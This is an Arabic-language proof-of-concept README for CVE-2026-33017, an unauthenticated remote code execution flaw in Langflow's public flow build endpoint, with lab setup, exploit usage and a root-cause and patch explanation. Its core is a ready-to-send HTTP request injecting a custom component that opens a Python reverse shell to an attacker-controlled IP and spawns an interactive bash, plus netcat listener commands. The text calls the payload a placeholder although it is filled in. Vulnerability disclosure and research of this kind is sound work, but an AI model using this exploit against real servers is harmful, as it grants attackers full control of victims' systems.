
إثبات مفهوم استغلال لـ CVE-2026-33017، وهو RCE غير مُصادَق عليه في نقطة نهاية build_public_tmp الخاصة بـ Langflow، حيث يحقن مكوّنًا مخصصًا خبيثًا للحصول على reverse shell.
★ CVE-2026-33017 Langflow Remote Code Execution PoC ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
استخدم الأوامر التالية لبناء وتشغيل بيئة Langflow المعرّضة للثغرة:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
بعد تشغيل نسخة Langflow المعرّضة للثغرة، شغّل PoC مع عنوان URL الهدف، ومعرّف Public flow، وعنوان الاستدعاء العكسي الخاص بالمهاجم.
الخيار أ — استخدام المستمع الخاص بك:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
الخيار ب — استخدام المستمع المدمج مع --listen:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
| الخيار | الوصف |
|---|---|
--url | عنوان URL لخادم Langflow الهدف |
--flow-id | معرّف UUID للـ Public flow المشترك |
--lhost | عنوان IP للاستدعاء العكسي الخاص بالمهاجم |
--lport | منفذ الاستدعاء العكسي الخاص بالمهاجم |
--listen | تشغيل المستمع المدمج بدلاً من nc الخارجي |
CVE-2026-33017 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (Remote Code Execution, RCE) في عملية بناء Public flow الخاصة بـ Langflow، وهي منصة مفتوحة المصدر لبناء تطبيقات LLM وسير عمل الذكاء الاصطناعي بصريًا.
من خلال إرسال بيانات flow مُصمَّمة بعناية إلى نقطة النهايةbuild_public_tmpدون مصادقة، يمكن للمهاجم التسبب في تنفيذ تعليمات Python عشوائية على الخادم.
تؤثر CVE-2026-33017 على نقطة نهاية بناء Public flow التالية في Langflow، وهي منصة مفتوحة المصدر لإنشاء تطبيقات LLM وسير عمل الذكاء الاصطناعي بصريًا.
POST /api/v1/build_public_tmp/{flow_id}/flow
تم تصميم Public flow في Langflow ليتم مشاركته مع مستخدمين آخرين عبر رابط أو آلية مشابهة.
لدعم هذه الميزة، تُهيّئ نقطة نهاية البناء الـ flow للتنفيذ دون الحاجة إلى مصادقة من خلال قراءة العُقد والحواف والإعدادات الخاصة بالـ flow، ثم بناء مخطط التنفيذ الداخلي اللازم لتشغيله.
تكمن المشكلة في أن الإصدارات المعرّضة للثغرة من build_public_tmp كانت تقبل ليس فقط معلومات Public flow المخزّنة على الخادم، بل أيضًا حقل data المُرسَل في جسم الطلب.
يمكن أن يحتوي حقل data هذا على تعريف الـ flow بالكامل، بما في ذلك:
ونتيجة لذلك، كان بإمكان المهاجم استخدام طلب غير مُصادَق عليه لحقن بنية flow بالكامل تحت سيطرته بدلاً من الاعتماد على Public flow الشرعي المخزّن على الخادم.
من الأجزاء الخطيرة بشكل خاص في هذا التصميم ميزة المكوّن المخصص (Custom Component).
في Langflow، يمثّل المكوّن كتلة وظيفية فردية مسؤولة عن مهام مثل معالجة المدخلات، أو استدعاء النموذج، أو توليد المخرجات. والمكوّن المخصص هو كتلة قابلة للتوسيع تتيح للمستخدمين تعريف سلوكها مباشرةً بـ تعليمات Python البرمجية.
وبالتالي، كان بإمكان المهاجم تضمين مكوّن مخصص يحتوي على تعليمات Python ضارة داخل كائن data المُصمَّم، وسيقوم الخادم بمعالجته كما لو كان جزءًا طبيعيًا من الـ flow. ونتيجة لذلك، يمكن تحليل التعليمات المحقونة وتنفيذها أثناء عملية البناء أو التنفيذ، مما يؤدي في النهاية إلى تنفيذ تعليمات برمجية عن بُعد.
| الفئة | الإصدار |
|---|---|
| معرّض للثغرة | Langflow قبل 1.9.0 |
| مُصحَّح | Langflow 1.9.0 وما بعده |
يُدرج GitHub Security Advisory النطاق المتأثر كـ
<= 1.8.2، لكن الإصلاح — إزالة معاملdata— تم في 1.9.0. لذلك فإن جميع الإصدارات قبل 1.9.0 (بما في ذلك 1.8.3 / 1.8.4) معرّضة للثغرة، ولهذا ينص CVE Record على< 1.9.0.
قد يسمح الاستغلال الناجح لهذه الثغرة للمهاجم بالسيطرة على خادم Langflow وتنفيذ إجراءات لاحقة مثل:
يوضّح PoC التالي CVE-2026-33017 على Langflow 1.8.1.
يحدّد المهاجم أولاً flow_id الخاص بـ Public flow الهدف.

يرسل المهاجم طلب build_public_tmp يحقن مكوّنًا مخصصًا يُنفَّذ فيه كود Python code على الخادم أثناء البناء المؤقت. في الطلب أدناه، تُرِك قيمة code كعنصر نائب — أدخل الحمولة بنفسك (انظر الملاحظة أسفل الطلب).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
أثناء عملية البناء، يُنفَّذ الكود المضمَّن في المكوّن المخصص على الخادم. عند استخدام نسخة reverse shell (المؤتمتة بواسطة exploit.py)، يتم إنشاء اتصال عكسي إلى مستمع المهاجم، مما يمنح المهاجم shell تفاعليًا لتنفيذ أوامر عشوائية على الخادم.

على الرغم من أن build_public_tmp كان مخصصًا لبناء Public flows، إلا أن الإصدارات المعرّضة للثغرة كانت لا تزال تقبل حقل data مباشرةً من جسم الطلب.
بسبب هذا التصميم، تم تمرير data المُقدَّم من المهاجم مباشرةً إلى منطق البناء على جانب الخادم، وتمت معالجة أي كود Python مضمَّن في مكوّن مخصص كما لو كان جزءًا من flow شرعي.
ونتيجة لذلك، لم يكن على المهاجم الاعتماد على Public flow الأصلي المخزّن على الخادم. بدلاً من ذلك، كان بإمكانه حقن تعريف flow ضار بالكامل من صنعه، بما في ذلك كود يمكن تنفيذه على الخادم.
بعد التصحيح، لم يعد build_public_tmp يقبل data المُقدَّم من الخارج.
بعبارة أخرى، تمت إزالة المسار الذي كان يسمح للمهاجمين بحقن تعريف flow بالكامل عبر جسم الطلب، مما منع أيضًا تنفيذ تعليمات برمجية عشوائية من خلال المكوّنات المخصصة الضارة.
